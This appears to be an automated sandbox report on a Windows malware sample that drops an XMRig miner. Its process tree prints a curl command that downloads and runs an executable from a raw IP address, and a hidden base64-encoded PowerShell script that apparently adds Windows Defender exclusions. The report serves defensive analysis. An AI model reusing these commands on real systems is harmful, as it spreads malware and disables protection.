Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
20/10/2026, 09:00
General
- Target 2026-10-20_11baec30e253c2cd9476f068f961d759_cobalt-strike_icedid_ryuk_satacom.exe
- Size 1.1MB
- Sample261020-kylnbsfw21
- SHA256 e962ea80d135ceb75d2a34cdb4c50f68b6e71caf0f45c8cb1e92e47a80bdd774
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 2 IoCs
- XMRig Miner payload 19 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 3 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of SetThreadContext 2 IoCs
- Drops file in Program Files directory 4 IoCs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-10-20_11baec30e253c2cd9476f068f961d759_cobalt-strike_icedid_ryuk_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-20_11baec30e253c2cd9476f068f961d759_cobalt-strike_icedid_ryuk_satacom.exe"2⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SYSTEM32\curl.execurl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5933890.exe" "http://191.217.210.94/CenterMSI_drive11.164.10.exe"2⤵
- Downloads MZ/PE file
-
-
C:\Users\Admin\AppData\Local\Temp\0e5933890.exe"C:\Users\Admin\AppData\Local\Temp\0e5933890.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand JABzAGMAcgBpAHAAdABBAHIAZwBzACAAPQAgAEAAKAAnAEMAOgAvACcAKQAKACMAIABiAG8AbwB0AHMAdAByAGEAcAAtAEEEOgRABDgEPwRCBDoAIAA/BEMEQgQ4BCAAPwRABDgERQQ+BDQETwRCBCAARwQ1BEAENQQ3BCAAJABzAGMAcgBpAHAAdABBAHIAZwBzACAAKABsAG8AYQBkAGUAcgAgADIEQQRCBEAEMAQ4BDIEMAQ1BEIEIAA4BEUEIAAyBCAAOgQ+BDwEMAQ9BDQEQwQpACwACgAjACAAPwRABDgEIAA/BEAETwQ8BD4EPAQgADcEMAQ/BEMEQQQ6BDUEIAAUICAARwQ1BEAENQQ3BCAAJABhAHIAZwBzAC4AIAAfBEAEOAQgAEcATwBBAEUAUwBfAEQARQBCAFUARwA9ADEAIAAyBCAAOgQ+BD0ERgQ1BCAAPwQwBEMENwQwBC4ACgAkAEQAZQBiAHUAZwBNAG8AZABlACAAPQAgACgAJABlAG4AdgA6AEcATwBBAEUAUwBfAEQARQBCAFUARwAgAC0AZQBxACAAJwAxACcAKQAKACQATABvAGcARgBpAGwAZQAgAD0AIAAkAGUAbgB2ADoARwBPAEEARQBTAF8ATABPAEEARABFAFIAXwBMAE8ARwBGAEkATABFAAoACgBmAHUAbgBjAHQAaQBvAG4AIABMAG8AZwAoAFsAcwB0AHIAaQBuAGcAXQAkAE0AcwBnACkAIAB7AAoAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBbAEcAbwBBAEUAUwBdACAAJABNAHMAZwAiACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAEMAeQBhAG4ACgAgACAAIAAgAFsAQwBvAG4AcwBvAGwAZQBdADoAOgBPAHUAdAAuAFcAcgBpAHQAZQBMAGkAbgBlACgAIgBbAEcAbwBBAEUAUwBdACAAJABNAHMAZwAiACkACgAgACAAIAAgAGkAZgAgACgAJABMAG8AZwBGAGkAbABlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAEEAZABkAC0AQwBvAG4AdABlAG4AdAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABMAG8AZwBGAGkAbABlACAALQBWAGEAbAB1AGUAIAAiAFsARwBvAEEARQBTAF0AIAAkAE0AcwBnACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoAIAAgACAAIAB9AAoAfQAKAAoATABvAGcAIAAiAGIAbwBvAHQAcwB0AHIAYQBwACAAcwB0AGEAcgB0ACAAfAAgAFAAUwAgACQAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuACkAIAB8ACAAYQByAGMAaAA9ACQAKABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBJAHMANgA0AEIAaQB0AFAAcgBvAGMAZQBzAHMAKQAgAHwAIABzAGMAcgBpAHAAdABBAHIAZwBzAD0AJAAoACgAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAcwBjAHIAaQBwAHQAQQByAGcAcwApACAAewAgACQAcwBjAHIAaQBwAHQAQQByAGcAcwAuAEMAbwB1AG4AdAAgAH0AIABlAGwAcwBlACAAewAgADAAIAB9ACkAKQAiAAoAdAByAHkAIAB7AAoAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoATwB1AHQAcAB1AHQARQBuAGMAbwBkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgACgB9ACAAYwBhAHQAYwBoACAAewB9AAoACgAkAEMAbwBuAGYAaQByAG0AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAE4AbwBuAGUAJwAKAAoAIwAgABsEOARCBDUEQAQwBDsESwQgAEAEMAQ3BDEEOARCBEsELAAgAEcEQgQ+BDEESwQgAD0ENQQgAEEEMgQ1BEIEOARCBEwEIAA4BDwENQQ9BDAEIAAyBCAAQgQ1BDsENQQgAEEEOgRABDgEPwRCBDAELgAKACQAbQBvAGQAIAA9ACAAKAAnAEMAbwAnACAAKwAgACcAbgBmAGkAZwAnACAAKwAgACcARABlACcAIAArACAAJwBmAGUAbgBkAGUAcgAnACkACgAkAGEAZABkAE4AYQBtAGUAIAA9ACAAKAAnAEEAJwAgACsAIAAnAGQAZAAtACcAIAArACAAJwBNAHAAJwAgACsAIAAnAFAAcgBlAGYAZQByAGUAJwAgACsAIAAnAG4AYwBlACcAKQAKACQAZwBlAHQATgBhAG0AZQAgAD0AIAAoACcARwAnACAAKwAgACcAZQB0AC0AJwAgACsAIAAnAE0AcAAnACAAKwAgACcAUAByAGUAZgBlAHIAZQAnACAAKwAgACcAbgBjAGUAJwApAAoAJABzAGUAdABOAGEAbQBlACAAPQAgACgAJwBTACcAIAArACAAJwBlAHQALQAnACAAKwAgACcATQBwACcAIAArACAAJwBQAHIAZQBmAGUAcgBlACcAIAArACAAJwBuAGMAZQAnACkACgAkAGUAeABjAEsAZQB5ACAAPQAgACgAJwBFAHgAYwAnACAAKwAgACcAbAB1AHMAaQBvAG4AJwAgACsAIAAnAFAAYQAnACAAKwAgACcAdABoACcAKQAKAAoAdAByAHkAIAB7AAoAIAAgACAAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAJABtAG8AZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAATABvAGcAIAAiAG0AbwBkAHUAbABlACAAbABvAGEAZABlAGQAIgAKAH0AIABjAGEAdABjAGgAIAB7AAoAIAAgACAAIABMAG8AZwAgACIAbQBvAGQAdQBsAGUAIABpAG0AcABvAHIAdAA6ACAAJAAoACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQApACIACgB9AAoACgAkAGkAbgAgAD0AIABAACgAKQAKAGkAZgAgACgAJABuAHUAbABsACAALQBuAGUAIAAkAHMAYwByAGkAcAB0AEEAcgBnAHMAKQAgAHsAIAAkAGkAbgAgACsAPQAgACQAcwBjAHIAaQBwAHQAQQByAGcAcwAgAH0ACgAkAGkAbgAgACsAPQAgACQAYQByAGcAcwAKACQAcABhAHQAaABzACAAPQAgAEAAKAAkAGkAbgAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAtAG4AbwB0ACAAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAXwApACAAfQApAAoAaQBmACAAKAAkAHAAYQB0AGgAcwAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApACAAewAKACAAIAAgACAATABvAGcAIAAiAG4AbwAgAGEAcgBnAHMAIAAUICAAbgBvAHQAaABpAG4AZwAgAHQAbwAgAGQAbwAiAAoAIAAgACAAIABpAGYAIAAoACQARABlAGIAdQBnAE0AbwBkAGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUgBlAGEAZAAtAEgAbwBzAHQAIAAnAFAAcgBlAHMAcwAgAEUAbgB0AGUAcgAgAHQAbwAgAGMAbwBuAHQAaQBuAHUAZQAgAGwAbwBhAGQAZQByACcACgAgACAAIAAgAH0ACgAgACAAIAAgAGUAeABpAHQAIAAwAAoAfQAKAEwAbwBnACAAIgBwAGEAdABoAHMAIAAoACQAKAAkAHAAYQB0AGgAcwAuAEMAbwB1AG4AdAApACkAOgAgACQAKAAkAHAAYQB0AGgAcwAgAC0AagBvAGkAbgAgACcAIAA7ACAAJwApACIACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAZABkAC0ARABlAGYAZQBuAGQAZQByAFAAYQB0AGgARQB4AGMAbAB1AHMAaQBvAG4AIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAHMAdAByAGkAbgBnAF0AJABQAGEAdABoACkACgAgACAAIAAgAGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAUABhAHQAaAApACkAIAB7ACAAcgBlAHQAdQByAG4AIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABQAGEAdABoAC4AVAByAGkAbQBFAG4AZAAoACcAXAAnACkACgAgACAAIAAgAEwAbwBnACAAIgB0AHIAeQAgAHAAYQB0AGgAOgAgACQAcAAiAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABoAHQAIAA9ACAAQAB7AH0ACgAgACAAIAAgACAAIAAgACAAJABoAHQAWwAkAGUAeABjAEsAZQB5AF0AIAA9ACAAJABwAAoAIAAgACAAIAAgACAAIAAgACYAIAAkAGEAZABkAE4AYQBtAGUAIABAAGgAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAAIAAgACAAIABMAG8AZwAgACIAYQBkAGQAIABPAEsAOgAgACQAcAAiAAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIABMAG8AZwAgACIAYQBkAGQAIABGAEEASQBMADoAIAAkAHAAIAAtAD4AIAAkACgAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlACkAIgAKACAAIAAgACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAbQBwACAAPQAgACYAIAAkAGcAZQB0AE4AYQBtAGUACgAgACAAIAAgACAAIAAgACAAJABjAHUAcgAgAD0AIABAACgAJABtAHAALgAkAGUAeABjAEsAZQB5ACkACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAYwB1AHIAKQAgAHsAIAAkAGMAdQByACAAPQAgAEAAKAApACAAfQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAYwB1AHIAIAAtAGMAbwBuAHQAYQBpAG4AcwAgACQAcAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEwAbwBnACAAIgBhAGwAcgBlAGEAZAB5ACAAaQBuACAAbABpAHMAdAA6ACAAJABwACIACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACQAbQBlAHIAZwBlAGQAIAA9ACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAoACQAYwB1AHIAIAArACAAJABwACkACgAgACAAIAAgACAAIAAgACAAJABoAHQAMgAgAD0AIABAAHsAfQAKACAAIAAgACAAIAAgACAAIAAkAGgAdAAyAFsAJABlAHgAYwBLAGUAeQBdACAAPQAgACQAbQBlAHIAZwBlAGQACgAgACAAIAAgACAAIAAgACAAJgAgACQAcwBlAHQATgBhAG0AZQAgAEAAaAB0ADIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAACgAgACAAIAAgACAAIAAgACAATABvAGcAIAAiAHMAZQB0ACAATwBLADoAIAAkAHAAIgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgACAAIAAgACAATABvAGcAIAAiAHMAZQB0ACAARgBBAEkATAA6ACAAJABwACAALQA+ACAAJAAoACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQApACIACgAgACAAIAAgAH0ACgB9AAoACgBpAGYAIAAoAC0AbgBvAHQAIAAoAEcAZQB0AC0AQwBvAG0AbQBhAG4AZAAgACQAYQBkAGQATgBhAG0AZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACkAIAB7AAoAIAAgACAAIABMAG8AZwAgACIAYwBtAGQAbABlAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAFCAgAHMAawBpAHAAIgAKACAAIAAgACAAaQBmACAAKAAkAEQAZQBiAHUAZwBNAG8AZABlACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBhAGQALQBIAG8AcwB0ACAAJwBQAHIAZQBzAHMAIABFAG4AdABlAHIAIAB0AG8AIABjAG8AbgB0AGkAbgB1AGUAIABsAG8AYQBkAGUAcgAnAAoAIAAgACAAIAB9AAoAIAAgACAAIABlAHgAaQB0ACAAMAAKAH0ACgAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgADMAIAAtAE0AYQB4AGkAbQB1AG0AIAA1ACkACgAKACQAbgAgAD0AIAAkAHAAYQB0AGgAcwAuAEMAbwB1AG4AdAAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAG4AOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAEEAZABkAC0ARABlAGYAZQBuAGQAZQByAFAAYQB0AGgARQB4AGMAbAB1AHMAaQBvAG4AIAAtAFAAYQB0AGgAIAAkAHAAYQB0AGgAcwBbACQAaQBdAAoAIAAgACAAIABpAGYAIAAoACQAaQAgAC0AbAB0ACAAJABuACAALQAgADEAKQAgAHsACgAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKACAAIAAgACAAfQAKAH0ACgAKAEwAbwBnACAAIgBiAG8AbwB0AHMAdAByAGEAcAAgAGQAbwBuAGUAIgAKAGkAZgAgACgAJABEAGUAYgB1AGcATQBvAGQAZQApACAAewAKACAAIAAgACAAUgBlAGEAZAAtAEgAbwBzAHQAIAAnAFAAcgBlAHMAcwAgAEUAbgB0AGUAcgAgAHQAbwAgAGMAbwBuAHQAaQBuAHUAZQAgAGwAbwBhAGQAZQByACAAKABjAGwAbwBzAGUAIAB3AGkAbgBkAG8AdwAgAGkAZgAgAG4AbwAgAGsAZQB5AGIAbwBhAHIAZAApACcACgB9AAoAZQB4AGkAdAAgADAACgA=3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\4289156193.exeC:\Users\Admin\AppData\Local\Temp\4289156193.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615055035f3107041a3b30285a085f7831045d2605561e240138132a0e052737345d5933342b3919202e23240706572e280c0f1623031613300a5826392726072c180207195618563a07013203295e19762118213f0b2f0b3a24325d3f2f1a284440194e705c5c594e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a19545f71544d440f611615465e2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615055035f3107041a3b30285a085f7831045d2605561e240138132a0e052737345d5933342b3919202e23240706572e280c0f1623031613300a5826392726072c180207195618563a07013203295e19762118213f0b2f0b3a24325d3f2f1a284440194e705c5c594e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a19545f71544d440f611615465e2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Roaming\VLCManager\VLCManager.exeC:\Users\Admin\AppData\Roaming\VLCManager\VLCManager.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
0e5933890.exe
4289156193.exe
__PSScriptPolicyTest_iajssa00.j30.psm1
memory/1284-99-0x00007FF7CD4D0000-0x00007FF7CDD77000-memory.dmp
memory/1284-105-0x00007FF7CD4D0000-0x00007FF7CDD77000-memory.dmp
memory/1284-87-0x00007FF7CD4D0000-0x00007FF7CDD77000-memory.dmp
memory/1284-93-0x00007FF7CD4D0000-0x00007FF7CDD77000-memory.dmp
memory/1744-98-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-100-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-96-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-94-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-102-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-92-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-90-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-88-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-104-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-106-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/1744-108-0x00007FF6E3240000-0x00007FF6E3B27000-memory.dmp
memory/3140-83-0x00007FF65D570000-0x00007FF65DE17000-memory.dmp
memory/5656-75-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-9-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-28-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-26-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-24-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-23-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-22-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-21-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-20-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-19-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-18-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-17-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-16-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-15-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-14-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-11-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-40-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-43-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-5-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-3-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-1-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-0-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-4-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-2-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-7-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-25-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-37-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-34-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-33-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-12-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-10-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-38-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-31-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-29-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-39-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-80-0x0000000001660000-0x0000000001661000-memory.dmp
memory/5656-8-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-67-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5656-6-0x0000000004100000-0x000000000419D000-memory.dmp
memory/5832-81-0x0000016321EF0000-0x0000016321F10000-memory.dmp
memory/5832-85-0x00007FF685ED0000-0x00007FF6867B7000-memory.dmp
memory/6016-61-0x000001E89CF30000-0x000001E89CF4E000-memory.dmp
memory/6016-71-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-74-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-68-0x000001E89D3C0000-0x000001E89D3C8000-memory.dmp
memory/6016-66-0x000001E89D410000-0x000001E89D42C000-memory.dmp
memory/6016-65-0x000001E89D3B0000-0x000001E89D3BA000-memory.dmp
memory/6016-62-0x000001E89CF50000-0x000001E89D002000-memory.dmp
memory/6016-64-0x000001E89D3D0000-0x000001E89D3EE000-memory.dmp
memory/6016-69-0x000001E89D3F0000-0x000001E89D3F6000-memory.dmp
memory/6016-63-0x000001E89D010000-0x000001E89D01A000-memory.dmp
memory/6016-72-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-70-0x000001E89D400000-0x000001E89D40A000-memory.dmp
memory/6016-54-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-57-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-56-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-55-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-58-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-53-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-52-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-51-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-50-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-49-0x000001E89CC80000-0x000001E89CCA2000-memory.dmp
memory/6016-48-0x00007FF87BC80000-0x00007FF87C624000-memory.dmp
memory/6016-45-0x00007FF87BE0F000-0x00007FF87BE10000-memory.dmp